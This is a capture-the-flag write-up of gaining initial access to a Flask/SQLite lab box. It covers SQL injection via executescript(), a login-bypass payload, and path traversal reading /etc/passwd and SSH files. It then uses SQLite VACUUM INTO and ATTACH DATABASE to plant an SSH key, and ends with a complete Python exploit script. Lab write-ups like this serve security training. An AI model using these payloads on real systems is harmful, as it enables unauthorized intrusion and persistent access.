Boot2Root CTF Writeup — squeaky-clean.cfire
Boot2Root CTF Writeup — squeaky-clean.cfire
Challenge: Boot2Root (Step 1: Initial Access) Target: http://squeaky-clean.cfire Date: 2026-03-04
Overview
A Flask web application running SQLite. The attack chain to initial shell access is:
- SQL Injection via
executescript()→ login bypass - Path Traversal via
?file=→ information gathering - SQLite
VACUUM INTO+ATTACH DATABASE→ arbitrary file write - SSH key injection into
authorized_keys2→ shell asuser
I noticed an SQL injection in the login-form (blackbox testing)
Vulnerability 1 — SQL Injection via executescript()
query = f"""
SELECT * FROM users
WHERE username = '{username}'
AND password = '{password}';
"""
cursor.executescript(query) # runs arbitrary multi-statement SQL
cursor.executescript() accepts multiple semicolon-separated statements. This is the primary write primitive — any SQL statement can be injected, including ATTACH DATABASE, CREATE TABLE, INSERT, and VACUUM INTO.
Login bypass payload:
username: admin
password: 'OR''='
Vulnerability 2 — Path Traversal on /dashboard
file_to_read = "./" + request.args.get("file")
with open(file_to_read, "r") as f:
content += "<pre>" + f.read() + "</pre>"
No sanitisation on the file parameter. Accessible after logging in via the SQLi bypass.
Information Gathering (Path Traversal)
After logging in with the SQLi bypass, the following files were read via GET /dashboard?file=<path>:
/etc/passwdUseruser(uid 1000) exists, SSH daemon running/proc/self/environApp runs asuser, CWD is/home/user/app/home/user/.ssh/authorized_keysContains one existing ed25519 key (admin@private-desktop)/etc/ssh/sshd_config|Include /etc/ssh/sshd_config.d/*.conf;AuthorizedKeysFileline is commented out (defaults to.ssh/authorized_keys)/home/user/app/templates/login.htmlConfirms templates directory path/home/user/app/admin_login.logConfirms app writes files to/home/user/app/
Key observations:
- No private key readable (
id_rsadoes not exist) templates/directory is readable but not writable by the app process/home/user/app/and/tmp/are writable (confirmed by ATTACH succeeding)/home/user/.ssh/is writable- The sshd
AuthorizedKeysFiledefault on Debian includes.ssh/authorized_keys2(legacy fallback, still active)
Exploitation
Attempt 1 — SSTI via ATTACH DATABASE to login.html
Initial plan: ATTACH to templates/login.html, insert a Jinja2 SSTI payload, trigger rendering.
Failed because login.html already exists as valid HTML. SQLite's ATTACH DATABASE refuses to open a non-SQLite file:
SQL Error: file is not a database
Attempt 2 — VACUUM INTO login.html
VACUUM INTO 'path' creates a fresh SQLite DB at path. Unlike ATTACH, it is designed to write a new file. However, if the destination file already exists, most SQLite builds (3.27+) refuse with:
SQL Error: file is not a database
The templates/ directory also turned out to not be writable via absolute path, making this path dead.
Successful Path — SSH Key Injection via VACUUM INTO + ATTACH
Since .ssh/ is writable and authorized_keys2 did not exist, VACUUM INTO succeeds on a new path:
Step 1: Create a valid SQLite DB at authorized_keys2
SQL injected via the password field:
'; VACUUM INTO '/home/user/.ssh/authorized_keys2';--
This creates a fresh SQLite DB at /home/user/.ssh/authorized_keys2.
Step 2: ATTACH to the new SQLite file and insert the public key
authorized_keys2 is now a valid SQLite DB, so ATTACH works:
'; ATTACH DATABASE '/home/user/.ssh/authorized_keys2' AS k;
CREATE TABLE IF NOT EXISTS k.t (c TEXT);
DELETE FROM k.t;
INSERT INTO k.t (c) VALUES (char(10)||'ssh-ed25519 AAAA...key...'||char(10));--
The char(10) prefix/suffix because it works as a newline
Step 3: SSH in
ssh-keygen -t ed25519 -f /tmp/ctf_key -N ""
# inject /tmp/ctf_key.pub via the pyhton script later in this writeup
ssh -i /tmp/ctf_key user@squeaky-clean.cfire
Shell obtained as user.
Why authorized_keys2 Works
Despite the AuthorizedKeysFile line in sshd_config being commented out, Debian's compiled-in default for OpenSSH is:
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
This is a legacy fallback that sshd still checks when no explicit override is configured. The comment in sshd_config even warns: "Expect .ssh/authorized_keys2 to be disregarded by default in future." — meaning it still works now.
Summary
- SQL Injection (executescript)
- Login bypass ('OR''=')
- Path Traversal (?file=) → enumerate files, confirm .ssh/ writable
- VACUUM INTO /home/user/.ssh/authorized_keys2 (new SQLite DB)
- ATTACH DATABASE authorized_keys2
- INSERT public key with char(10) newlines
- ssh -i ctf_key user@target
Script
import requests
BASE = "http://squeaky-clean.cfire"
password = "'OR''='"
SSH_AUTH_KEYS = "/home/user/.ssh/authorized_keys"
MY_PUBKEY = "PUBLIC_KEY" # e.g. ssh-ed25519 AAAA... you@host
def _attach_and_insert_key(s, path=None):
if path is None:
path = SSH_AUTH_KEYS
attach = (
f"'; ATTACH DATABASE '{path}' AS k; "
"CREATE TABLE IF NOT EXISTS k.t (c TEXT); "
"DELETE FROM k.t; "
f"INSERT INTO k.t (c) VALUES (char(10)||'{MY_PUBKEY}'||char(10));--"
)
r = s.post(BASE + "/", data={"username": "admin", "password": attach})
if "SQL Error" not in r.text:
print(f"Key inserted into {path}")
print(f"Use: ssh -i /tmp/ctf_key user@squeaky-clean.cfire")
else:
print(f"attack failed: {r.text[10:150]}")
def ssh_key_inject():
s = requests.Session()
s.post(BASE + "/", data={"username": "admin", "password": password})
ak2 = "/home/user/.ssh/authorized_keys2"
print(f"\nRe-injecting key into {ak2} with newline fix...")
_attach_and_insert_key(s, path=ak2)
vac = f"'; VACUUM INTO '{SSH_AUTH_KEYS}';--"
r = s.post(BASE + "/", data={"username": "admin", "password": vac})
if "SQL Error" not in r.text:
print("VACUUM INTO authorized_keys succeeded!")
_attach_and_insert_key(s, path=SSH_AUTH_KEYS)
else:
print(f"exploit might have failed.. or not {r.text}")
print("try ssh -i /tmp/ctf_key user@squeaky-clean.cfire")
if __name__ == "__main__":
ssh_key_inject()
python3 request.py
ssh -i /tmp/ctf_key user@squeaky-clean.cfire